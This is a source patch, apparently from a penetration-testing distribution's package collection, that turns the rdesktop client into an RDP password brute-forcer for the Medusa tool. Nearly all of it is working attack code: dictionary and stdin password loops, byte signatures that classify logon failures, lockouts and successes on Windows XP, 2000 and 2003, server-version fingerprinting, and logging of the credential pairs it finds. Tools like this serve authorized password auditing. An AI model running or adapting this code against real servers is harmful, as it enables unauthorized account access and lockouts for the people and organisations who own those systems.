pentoo-overlay/net-misc/rdesktop-brute/files/rdp-brute-force-r805.diff
2009-06-30 15:44:20 +00:00

792 lines
26 KiB
Diff

Only in rdesktop-1.5.0: Makefile
diff -urp rdesktop-1.5.0.orig/Makefile.in rdesktop-1.5.0/Makefile.in
--- rdesktop-1.5.0.orig/Makefile.in 2006-04-10 02:27:50.000000000 +0800
+++ rdesktop-1.5.0/Makefile.in 2007-08-22 16:51:07.000000000 +0800
@@ -57,7 +57,7 @@ install: installbin installkeymaps insta
installbin: rdesktop
mkdir -p $(DESTDIR)$(bindir)
$(INSTALL) rdesktop $(DESTDIR)$(bindir)
- $(STRIP) $(DESTDIR)$(bindir)/rdesktop
+
chmod 755 $(DESTDIR)$(bindir)/rdesktop
.PHONY: installman
Only in rdesktop-1.5.0: config.log
Only in rdesktop-1.5.0: config.status
diff -urp rdesktop-1.5.0.orig/configure rdesktop-1.5.0/configure
--- rdesktop-1.5.0.orig/configure 2006-09-13 20:10:40.000000000 +0800
+++ rdesktop-1.5.0/configure 2007-08-22 16:51:07.000000000 +0800
@@ -1986,13 +1986,13 @@ if test "$ac_test_CFLAGS" = set; then
CFLAGS=$ac_save_CFLAGS
elif test $ac_cv_prog_cc_g = yes; then
if test "$GCC" = yes; then
- CFLAGS="-g -O2"
+cflags="$cflags ${CFLAGS}"
else
CFLAGS="-g"
fi
else
if test "$GCC" = yes; then
- CFLAGS="-O2"
+cflags="$cflags ${CFLAGS}"
else
CFLAGS=
fi
diff -urp rdesktop-1.5.0.orig/orders.c rdesktop-1.5.0/orders.c
--- rdesktop-1.5.0.orig/orders.c 2006-08-07 19:45:43.000000000 +0800
+++ rdesktop-1.5.0/orders.c 2007-08-22 13:03:36.000000000 +0800
@@ -21,10 +21,21 @@
#include "rdesktop.h"
#include "orders.h"
+
extern uint8 *g_next_packet;
static RDP_ORDER_STATE g_order_state;
extern BOOL g_use_rdp5;
+/* brute-force mode */
+#include <time.h>
+#include "scancodes.h"
+extern BOOL g_brute_complete;
+extern int g_brute_logon_status;
+extern int g_brute_mode;
+extern int g_server_version;
+extern int g_brute_w2k_send_logon;
+extern int g_w2k_auth_count;
+
/* Read field indicating which parameters are present */
static void
rdp_in_present(STREAM s, uint32 * present, uint8 flags, int size)
@@ -863,6 +874,99 @@ process_text2(STREAM s, TEXT2_ORDER * os
DEBUG(("\n"));
+ /* Check text for failed logon message. This is a complete guess/hack... */
+ if (g_brute_mode != BRUTE_NONE)
+ {
+ if (!memcmp(os->text, LOGON_AUTH_FAILED, 3))
+ {
+ fprintf(stderr, "Retrieved connection termination packet.\n");
+ g_brute_complete = True;
+ }
+
+ if (g_server_version == VERSION_SRV_2K)
+ {
+ if (!memcmp(os->text, LOGON_W2K_BANNER, 23))
+ {
+ fprintf(stderr, "Retrieved Windows 2000 logon window.\n");
+ g_brute_w2k_send_logon = LOGIN_WIN_READY;
+ }
+
+ /* if we see this message twice and we haven't seen "FE 00 00", we must have succeeded, right??? */
+ if (!memcmp(os->text, LOGON_W2K_MESSAGE, 4))
+ {
+ g_w2k_auth_count++;
+
+ if ((!g_brute_complete) && (g_w2k_auth_count > 1))
+ {
+ fprintf(stderr, "Windows 2000 successful authentication.\n");
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ g_brute_complete = True;
+ }
+ }
+ else if (g_brute_complete)
+ {
+ fprintf(stderr, "Windows 2000 authentication failed.\n");
+ if (g_brute_logon_status == LOGIN_RESULT_UNKNOWN)
+ g_brute_logon_status = LOGIN_RESULT_FAIL;
+ }
+ }
+
+ if ((!memcmp(os->text, LOGON_MESSAGE_FAILED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_FAILED_2K3, 18)))
+ {
+ fprintf(stderr, "Account credentials are NOT valid.\n");
+ g_brute_logon_status = LOGIN_RESULT_FAIL;
+ }
+ else if ((!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_2K3, 18)))
+ {
+ fprintf(stderr, "Account credentials are valid, however, the account is denied interactive logon.\n");
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ }
+ else if ((!memcmp(os->text, LOGON_MESSAGE_LOCKED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_LOCKED_2K3, 18)))
+ {
+ fprintf(stderr, "Account is currently locked out.\n");
+ g_brute_logon_status = LOGIN_RESULT_ERROR;
+ }
+ else if ((!memcmp(os->text, LOGON_MESSAGE_DISABLED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_DISABLED_2K3, 18)))
+ {
+ fprintf(stderr, "Account is currently disabled or expired. XP appears to report that an account is disabled only for valid credentials.\n");
+ g_brute_logon_status = LOGIN_RESULT_ERROR;
+ }
+ else if ((!memcmp(os->text, LOGON_MESSAGE_EXPIRED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_2K3, 18)) ||
+ (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_W2K, 18)))
+ {
+ fprintf(stderr, "Account credentials are valid, however, the password has expired and must be changed.\n");
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ }
+ else if ((!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_2K3, 18)))
+ {
+ fprintf(stderr, "Account credentials are valid, however, the password must be changed at first logon.\n");
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ }
+ else if (!memcmp(os->text, LOGON_MESSAGE_MSTS_MAX_2K3, 18))
+ {
+ fprintf(stderr, "Account credentials are valid, however, the maximum number of terminal services connections has been reached.\n");
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC );
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC );
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ }
+ else if (!memcmp(os->text, LOGON_MESSAGE_CURRENT_USER_XP, 18))
+ {
+ fprintf(stderr, "Valid credentials, however, another user is currently logged on.\n");
+ /* Unable to ESC message about booting current user, so say NO. */
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_N );
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_N );
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ g_brute_complete = True;
+ }
+ else
+ {
+ DEBUG(("Logon failed with unknown text message: "));
+ for (i = 0; i < os->length; i++)
+ DEBUG(("%02x ", os->text[i]));
+ DEBUG(("\n"));
+ }
+ }
+
ui_draw_text(os->font, os->flags, os->opcode - 1, os->mixmode, os->x, os->y,
os->clipleft, os->cliptop, os->clipright - os->clipleft,
os->clipbottom - os->cliptop, os->boxleft, os->boxtop,
diff -urp rdesktop-1.5.0.orig/orders.h rdesktop-1.5.0/orders.h
--- rdesktop-1.5.0.orig/orders.h 2006-08-07 19:45:43.000000000 +0800
+++ rdesktop-1.5.0/orders.h 2007-08-22 13:03:36.000000000 +0800
@@ -18,6 +18,52 @@
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
+/* brute-force code */
+
+/* The following is a complete guess... */
+
+/* This appears to indicate that our attempt has failed in some way */
+#define LOGON_AUTH_FAILED "\xfe\x00\x00"
+
+/* Windows 2000 logon banner */
+#define LOGON_W2K_BANNER "\x1d\x00\x0c\x07\x1e\x07\x1f\x08\x20\x08\x21\x07\x1f\x06\x22\x08\x1f\x07\x1e\x08\x23\x08\x24"
+
+/* Using this string to track if we've successfully logged on */
+#define LOGON_W2K_MESSAGE "\x1f\x00\x26\x08"
+
+/* The system could not log you on. Make sure your User name and domain are correct [FAILED] */
+#define LOGON_MESSAGE_FAILED_XP "\x17\x00\x18\x06\x10\x06\x1a\x09\x1b\x05\x1a\x06\x1c\x05\x10\x04\x1d\x06"
+#define LOGON_MESSAGE_FAILED_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x05\x15\x06\x17\x05\x13\x04\x18\x06"
+
+/* The local policy of this system does not permit you to logon interactively. [SUCCESS] */
+#define LOGON_MESSAGE_NO_INTERACTIVE_XP "\x17\x00\x18\x06\x10\x06\x11\x09\x1a\x02\x0f\x06\x0d\x05\x11\x06\x1b\x05"
+#define LOGON_MESSAGE_NO_INTERACTIVE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x02\x17\x06\x18\x05\x15\x06\x19\x05"
+
+/* Unable to log you on because your account has been locked out */
+#define LOGON_MESSAGE_LOCKED_XP "\x17\x00\x0e\x07\x0d\x06\x18\x06\x11\x06\x10\x02\x1a\x09\x1b\x04\x11\x09"
+#define LOGON_MESSAGE_LOCKED_2K3 "\x11\x00\x12\x07\x13\x06\x14\x06\x15\x06\x16\x02\x18\x09\x19\x04\x15\x09"
+
+/* Your account has been disabled. Please see your system administrator. [ERROR] */
+/* Your account has expired. Please see your system administrator. [ERROR] */
+#define LOGON_MESSAGE_DISABLED_XP "\x17\x00\x18\x06\x19\x06\x1a\x06\x0d\x07\x0f\x06\x0f\x05\x18\x05\x19\x06"
+#define LOGON_MESSAGE_DISABLED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x17\x05\x12\x05\x13\x06"
+
+/* Your password has expired and must be changed. [SUCCESS] */
+#define LOGON_MESSAGE_EXPIRED_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06"
+#define LOGON_MESSAGE_EXPIRED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x18\x06\x18\x05\x19\x05"
+#define LOGON_MESSAGE_EXPIRED_W2K "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x2d\x0a\x2e\x0a\x0b\x07\x0b\x06"
+
+/* You are required to change your password at first logon. [SUCCESS] */
+#define LOGON_MESSAGE_MUST_CHANGE_XP "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06"
+#define LOGON_MESSAGE_MUST_CHANGE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x06\x17\x04\x16\x09\x17\x04\x18\x06"
+
+/* The terminal server has exceeded the maximum number of allowed connections. [SUCCESS] */
+#define LOGON_MESSAGE_MSTS_MAX_2K3 "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x24\x0a\x25\x0a\x0b\x07\x0b\x06\x26"
+
+/* The user MACHINE_NAME\USER is currently logged on to this computer. [SUCCESS] */
+#define LOGON_MESSAGE_CURRENT_USER_XP "\x12\x00\x13\x07\x10\x05\x14\x06\x0e\x07\x0d\x06\x16\x06\x10\x08\x17\x06"
+/* end brute-force code */
+
#define RDP_ORDER_STANDARD 0x01
#define RDP_ORDER_SECONDARY 0x02
#define RDP_ORDER_BOUNDS 0x04
diff -urp rdesktop-1.5.0.orig/rdesktop.c rdesktop-1.5.0/rdesktop.c
--- rdesktop-1.5.0.orig/rdesktop.c 2006-08-07 19:45:43.000000000 +0800
+++ rdesktop-1.5.0/rdesktop.c 2007-08-22 16:51:07.000000000 +0800
@@ -16,6 +16,16 @@
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+
+ 2005-07-07 - Added dictionary support for automated login testing
+ patrik@cqure.net
+
+ 2005-12-22 - Modified stdin password method to support Medusa wrapper
+ module (www.foofus.net/jmk/medusa/medusa.html). Also heavily
+ modified brute-force guessing to match various error messages
+ and kinda work against Windows 2000.
+ JoMo-Kun <jmk@foofus.net>
*/
#include <stdarg.h> /* va_list va_start va_end */
@@ -47,6 +57,13 @@
#include <openssl/md5.h>
+int g_brute_mode = BRUTE_NONE;
+int g_brute_logon_status = LOGIN_RESULT_UNKNOWN;
+int g_server_version = VERSION_SRV_UNKNOWN;
+int g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+int g_w2k_auth_count = 0;
+char *g_password = NULL;
+
char g_title[64] = "";
char g_username[64];
char g_hostname[16];
@@ -103,6 +120,8 @@ char g_redirect_username[64];
char g_redirect_cookie[128];
uint32 g_redirect_flags = 0;
+FILE *g_logger = NULL;
+
#ifdef WITH_RDPSND
BOOL g_rdpsnd = False;
#endif
@@ -114,6 +133,7 @@ char g_codepage[16] = "";
extern RDPDR_DEVICE g_rdpdr_device[];
extern uint32 g_num_devices;
extern char *g_rdpdr_clientname;
+extern BOOL g_loggedon;
#ifdef RDP2VNC
extern int rfb_port;
@@ -128,6 +148,8 @@ usage(char *program)
{
fprintf(stderr, "rdesktop: A Remote Desktop Protocol client.\n");
fprintf(stderr, "Version " VERSION ". Copyright (C) 1999-2005 Matt Chapman.\n");
+ fprintf(stderr, "Password guess patch by patrik@cqure.net\n");
+ fprintf(stderr, "Modified by jmk@foofus.net for use with the brute-forcer Medusa.\n");
fprintf(stderr, "See http://www.rdesktop.org/ for more information.\n\n");
fprintf(stderr, "Usage: %s [options] server[:port]\n", program);
@@ -139,7 +161,7 @@ usage(char *program)
fprintf(stderr, " -d: domain\n");
fprintf(stderr, " -s: shell\n");
fprintf(stderr, " -c: working directory\n");
- fprintf(stderr, " -p: password (- to prompt)\n");
+ fprintf(stderr, " -p: password (- to prompt,filename for dictionary)\n");
fprintf(stderr, " -n: client hostname\n");
fprintf(stderr, " -k: keyboard layout on server (en-us, de, sv, etc.)\n");
fprintf(stderr, " -g: desktop geometry (WxH)\n");
@@ -191,6 +213,7 @@ usage(char *program)
fprintf(stderr, " -0: attach to console\n");
fprintf(stderr, " -4: use RDP version 4\n");
fprintf(stderr, " -5: use RDP version 5 (default)\n");
+ fprintf(stderr, " -l: logfile\n");
}
static void
@@ -383,6 +406,41 @@ parse_server_and_port(char *server)
}
+void
+chomp( char *p )
+{
+ while( *p )
+ {
+ if (( '\r' == *p ) || ( '\n' == *p ) )
+ *p = 0;
+
+ *p++;
+ }
+}
+
+int
+logprintf( const char *format, ... )
+{
+
+ va_list args;
+ int i;
+
+ va_start( args, format );
+
+ if ( g_logger ) {
+ i = vfprintf( g_logger, format, args );
+ vprintf( format, args );
+ }
+ else {
+ i = vprintf( format, args );
+ }
+
+ va_end( args );
+
+ return i;
+}
+
+
/* Client program */
int
main(int argc, char *argv[])
@@ -393,11 +451,12 @@ main(int argc, char *argv[])
char password[64];
char shell[256];
char directory[256];
+ FILE *dicfile = NULL;
BOOL prompt_password, deactivated;
struct passwd *pw;
uint32 flags, ext_disc_reason = 0;
char *p;
- int c;
+ int c, i;
char *locale = NULL;
int username_option = 0;
BOOL geometry_option = False;
@@ -427,7 +486,7 @@ main(int argc, char *argv[])
#endif
while ((c = getopt(argc, argv,
- VNCOPT "Au:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?")) != -1)
+ VNCOPT "Au:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?l:")) != -1)
{
switch (c)
{
@@ -478,6 +537,13 @@ main(int argc, char *argv[])
if ((optarg[0] == '-') && (optarg[1] == 0))
{
prompt_password = True;
+ g_brute_mode = BRUTE_STDIN;
+ flags |= RDP_LOGON_AUTO;
+ break;
+ }
+ else if ( (dicfile = fopen( optarg, "r" ) ) ) {
+ g_brute_mode = BRUTE_FILE;
+ flags |= RDP_LOGON_AUTO;
break;
}
@@ -746,6 +812,13 @@ main(int argc, char *argv[])
case '5':
g_use_rdp5 = True;
break;
+ case 'l':
+ if ( NULL == ( g_logger = fopen( optarg, "w" ) ) )
+ {
+ fprintf(stderr, "Failed to open logfile (%s)\n", optarg);
+ return 1;
+ }
+ break;
case 'h':
case '?':
@@ -857,9 +930,6 @@ main(int argc, char *argv[])
xfree(locale);
- if (prompt_password && read_password(password, sizeof(password)))
- flags |= RDP_LOGON_AUTO;
-
if (g_title[0] == 0)
{
strcpy(g_title, "rdesktop - ");
@@ -886,6 +956,7 @@ main(int argc, char *argv[])
while (run_count < 2 && continue_connect) /* add support for Session Directory; only reconnect once */
{
+ if (g_brute_mode == BRUTE_NONE){
if (run_count == 0)
{
if (!rdp_connect(server, flags, domain, password, shell, directory))
@@ -894,25 +965,165 @@ main(int argc, char *argv[])
else if (!rdp_reconnect
(server, flags, domain, password, shell, directory, g_redirect_cookie))
return 1;
+ } /*IF BRUTE end */
/* By setting encryption to False here, we have an encrypted login
packet but unencrypted transfer of other packets */
if (!packet_encryption)
g_encryption = False;
-
+ if (g_brute_mode == BRUTE_NONE)
+ {
DEBUG(("Connection successful.\n"));
memset(password, 0, sizeof(password));
+ }
if (run_count == 0)
if (!ui_create_window())
continue_connect = False;
- if (continue_connect)
+ if (continue_connect){
+ if ((g_brute_mode == BRUTE_FILE) && (dicfile)) {
+ logprintf("\nStarting dictionary attack against server %s\n", server);
+ logprintf("------------------------------------------");
+
+ for ( i=0; i<strlen(server); i++ )
+ logprintf("-");
+
+ logprintf("\n");
+
+ while ( ( !g_loggedon ) && ( fgets( password, sizeof( password ) - 1, dicfile ) ) ) {
+ chomp( password );
+
+ g_encryption = True;
+
+ int sleep_count = 0;
+ while (!rdp_connect(server, flags, domain, password, shell, directory))
+ {
+ /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */
+ fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count);
+ sleep(sleep_count);
+ sleep_count += 5;
+
+ if (sleep_count > 15)
+ {
+ fprintf(stderr, "This shit is broke, I'm bailing...\n");
+ return 1;
+ }
+ }
+
+ if (g_server_version == VERSION_SRV_2K)
+ {
+ fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n");
+ g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+ g_w2k_auth_count = 0;
+ g_password = password;
+ }
+
+ if (!packet_encryption)
+ g_encryption = False;
+
rdp_main_loop(&deactivated, &ext_disc_reason);
+ rdp_disconnect();
+
+ switch (g_brute_logon_status)
+ {
+ case LOGIN_RESULT_SUCCESS:
+ logprintf("[success] User \"%s\" Password \"%s\"\n", g_username, password );
+ break;
+ case LOGIN_RESULT_FAIL:
+ logprintf( "[failure] User \"%s\" Password \"%s\"\n", g_username, password );
+ break;
+ case LOGIN_RESULT_ERROR:
+ logprintf( "[error] User \"%s\" Password \"%s\"\n", g_username, password );
+ return 1;
+ break;
+ default:
+ logprintf( "[error] User \"%s\" Password \"%s\". Connection terminated due to unknown error.\n", g_username, password );
+ return 1;
+ break;
+ }
+ }
+ }
+ else if (g_brute_mode == BRUTE_STDIN)
+ {
+ fprintf(stderr, "Starting brute-force attack via STDIN against %s\n", server);
+
+ while(!g_loggedon)
+ {
+ read_password(password, sizeof(password));
+
+ g_encryption = True;
+
+ int sleep_count = 0;
+ while (!rdp_connect(server, flags, domain, password, shell, directory))
+ {
+ /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */
+ fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count);
+ sleep(sleep_count);
+ sleep_count += 5;
+
+ if (sleep_count > 15)
+ {
+ fprintf(stderr, "This shit is broke, I'm bailing...\n");
+ fprintf(stderr, "LOGIN_RESULT_ERROR:Server stopped responding.\n");
+ return 1;
+ }
+ }
+
+ if (g_server_version == VERSION_SRV_2K)
+ {
+ fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n");
+ g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+ g_w2k_auth_count = 0;
+ g_password = password;
+ }
+
+ if (!packet_encryption)
+ g_encryption = False;
+
+ rdp_main_loop(&deactivated, &ext_disc_reason);
+ rdp_disconnect();
+
+ switch (g_brute_logon_status)
+ {
+ case LOGIN_RESULT_SUCCESS:
+ fprintf(stderr, "LOGIN_RESULT_SUCCESS\n");
+ break;
+ case LOGIN_RESULT_FAIL:
+ fprintf(stderr, "LOGIN_RESULT_FAILURE\n");
+ break;
+ case LOGIN_RESULT_ERROR:
+ fprintf(stderr, "LOGIN_RESULT_ERROR\n");
+ return 1;
+ break;
+ default:
+ fprintf(stderr, "LOGIN_RESULT_ERROR:Connection terminated due to unknown error.\n");
+ return 1;
+ break;
+ }
+ }
+ }
+ else
+ {
+ rdp_main_loop(&deactivated, &ext_disc_reason);
+ }
+
+
+ } /* continue connect */
+
+
+ if (g_brute_mode == BRUTE_NONE) {
DEBUG(("Disconnecting...\n"));
rdp_disconnect();
+ }
+ else
+ {
+ if (g_logger)
+ fclose( g_logger );
+ }
+
if ((g_redirect == True) && (run_count == 0)) /* Support for Session Directory */
{
@@ -1366,7 +1577,6 @@ subprocess(char *const argv[], str_handl
return True;
}
-
/* not all clibs got ltoa */
#define LTOA_BUFSIZE (sizeof(long) * 8 + 1)
diff -urp rdesktop-1.5.0.orig/rdesktop.h rdesktop-1.5.0/rdesktop.h
--- rdesktop-1.5.0.orig/rdesktop.h 2006-09-13 20:09:14.000000000 +0800
+++ rdesktop-1.5.0/rdesktop.h 2007-08-22 13:03:36.000000000 +0800
@@ -33,6 +33,20 @@
#define VERSION "1.5.0"
+#define BRUTE_NONE 1
+#define BRUTE_STDIN 2
+#define BRUTE_FILE 3
+#define VERSION_SRV_UNKNOWN 0
+#define VERSION_SRV_XP2K3 1
+#define VERSION_SRV_2K 2
+#define LOGIN_RESULT_UNKNOWN 1
+#define LOGIN_RESULT_SUCCESS 2
+#define LOGIN_RESULT_FAIL 3
+#define LOGIN_RESULT_ERROR 4
+#define LOGIN_WIN_UNKNOWN 0
+#define LOGIN_WIN_PROC 1
+#define LOGIN_WIN_READY 2
+
#ifdef WITH_DEBUG
#define DEBUG(args) printf args;
#else
diff -urp rdesktop-1.5.0.orig/rdp.c rdesktop-1.5.0/rdp.c
--- rdesktop-1.5.0.orig/rdp.c 2006-08-07 19:45:43.000000000 +0800
+++ rdesktop-1.5.0/rdp.c 2007-08-22 13:03:36.000000000 +0800
@@ -16,12 +16,16 @@
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+ 2005-07-07 Addedd support for detecting failed/successful login attempts
+
*/
#include <time.h>
#include <errno.h>
#include <unistd.h>
#include "rdesktop.h"
+#include "scancodes.h"
#ifdef HAVE_ICONV
#ifdef HAVE_ICONV_H
@@ -74,6 +78,20 @@ static uint32 g_packetno;
static BOOL g_iconv_works = True;
#endif
+/* brute-force stuff */
+extern int g_brute_mode;
+extern int g_server_version;
+extern int g_brute_logon_status;
+extern char* g_password;
+extern BOOL g_brute_w2k_send_logon;
+BOOL g_loggedon = False;
+BOOL g_brute_complete = False;
+#define KEYMAP_MASK 0xffff
+#define KEYMAP_SIZE 0xffff+1
+extern key_translation keymap[KEYMAP_SIZE];
+/* end brute-force */
+
+
/* Receive an RDP packet */
static STREAM
rdp_recv(uint8 * type)
@@ -1288,6 +1306,7 @@ process_data_pdu(STREAM s, uint32 * ext_
case RDP_DATA_PDU_LOGON:
DEBUG(("Received Logon PDU\n"));
+ g_loggedon = True;
/* User logged on */
break;
@@ -1375,6 +1394,63 @@ rdp_loop(BOOL * deactivated, uint32 * ex
while (cont)
{
+ if (g_brute_mode != BRUTE_NONE)
+ {
+ if ( g_loggedon )
+ {
+ DEBUG(("Brute-force complete, successful authentication.\n"));
+ g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+ disc = True;
+ }
+ else if ( g_brute_complete )
+ {
+ /* failed */
+ DEBUG(("Brute-force complete, terminating connection.\n"));
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC );
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC );
+ g_brute_complete = False;
+
+ /* w2k success */
+ if (g_server_version == VERSION_SRV_2K)
+ disc = True;
+ }
+
+ if ((g_server_version == VERSION_SRV_2K) && (g_brute_w2k_send_logon == LOGIN_WIN_READY))
+ {
+ g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+
+ DEBUG(("Sending password: %s\n", g_password));
+ int i;
+ char keysym;
+ uint8 scancode;
+
+ /* TAB to username field to view text */
+ //for(i = 0; i < 5; i++)
+ //{
+ // rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_TAB );
+ // rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_TAB );
+ //}
+
+ for(i = 0; i < strlen(g_password); i++)
+ {
+ keysym = g_password[i];
+ scancode = keymap[keysym & KEYMAP_MASK].scancode;
+ DEBUG(("Sending CHAR: %c KEYSYM: 0x%x SCANCODE: 0x%x\n", keysym, (unsigned int) keysym, scancode));
+
+ if (keymap[keysym & KEYMAP_MASK].modifiers == 0x0)
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
+ else
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT);
+
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, scancode );
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, scancode );
+ }
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
+ rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ENTER );
+ rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ENTER );
+ }
+ }
+
s = rdp_recv(&type);
if (s == NULL)
return False;
@@ -1396,6 +1472,15 @@ rdp_loop(BOOL * deactivated, uint32 * ex
break;
case 0:
break;
+ case 15:
+ /* Intermittent with W2K brute-forcing issue */
+ if (g_server_version == VERSION_SRV_2K)
+ {
+ DEBUG(("Brute-force connection to Windows 2000 is fubar'd.\n"));
+ g_brute_logon_status = LOGIN_RESULT_ERROR;
+ disc = True;
+ }
+ break;
default:
unimpl("PDU %d\n", type);
}
Only in rdesktop-1.5.0: rdp.c.orig
diff -urp rdesktop-1.5.0.orig/secure.c rdesktop-1.5.0/secure.c
--- rdesktop-1.5.0.orig/secure.c 2006-08-07 19:45:43.000000000 +0800
+++ rdesktop-1.5.0/secure.c 2007-08-22 13:03:36.000000000 +0800
@@ -42,6 +42,8 @@ extern uint16 mcs_userid;
extern VCHANNEL g_channels[];
extern unsigned int g_num_channels;
+extern int g_server_version;
+
static int rc4_key_len;
static RC4_KEY rc4_decrypt_key;
static RC4_KEY rc4_encrypt_key;
@@ -786,6 +788,33 @@ sec_process_srv_info(STREAM s)
g_use_rdp5 = 0;
g_server_depth = 8;
}
+
+ /*
+ Attempting to determine server OS version. It appears that the 21st
+ byte in the response is 0x02 for XP/2K3 and 0x01 for W2K. Don't know
+ what this byte actually represents, so this is a complete hack...
+
+ -0010 02 0c ec 00 01 00 00 00 02 00 00 00 20 00 00 00 ............ ...
+ +0010 02 0c ec 00 02 00 00 00 02 00 00 00 20 00 00 00 ............ ...
+ */
+
+ //int datalen = s->end - s->p;
+ //hexdump(s->p, datalen);
+ switch ( *(s->p + 18) )
+ {
+ case 0x01:
+ DEBUG_RDP5(("Server version appears to be Windows 2000.\n"));
+ g_server_version = VERSION_SRV_2K;
+ break;
+ case 0x02:
+ DEBUG_RDP5(("Server version appears to be Windows XP/2003.\n"));
+ g_server_version = VERSION_SRV_XP2K3;
+ break;
+ default:
+ DEBUG_RDP5(("Server version unknown. Interesting data: %d.\n", *(s->p + 18)));
+ g_server_version = VERSION_SRV_UNKNOWN;
+ break;
+ }
}
diff -urp rdesktop-1.5.0.orig/xkeymap.c rdesktop-1.5.0/xkeymap.c
--- rdesktop-1.5.0.orig/xkeymap.c 2006-08-07 19:45:44.000000000 +0800
+++ rdesktop-1.5.0/xkeymap.c 2007-08-22 16:48:57.000000000 +0800
@@ -51,7 +51,8 @@ extern BOOL g_use_rdp5;
extern BOOL g_numlock_sync;
static BOOL keymap_loaded;
-static key_translation *keymap[KEYMAP_SIZE];
+//static key_translation *keymap[KEYMAP_SIZE];
+key_translation *keymap[KEYMAP_SIZE];
static int min_keycode;
static uint16 remote_modifier_state = 0;
static uint16 saved_remote_modifier_state = 0;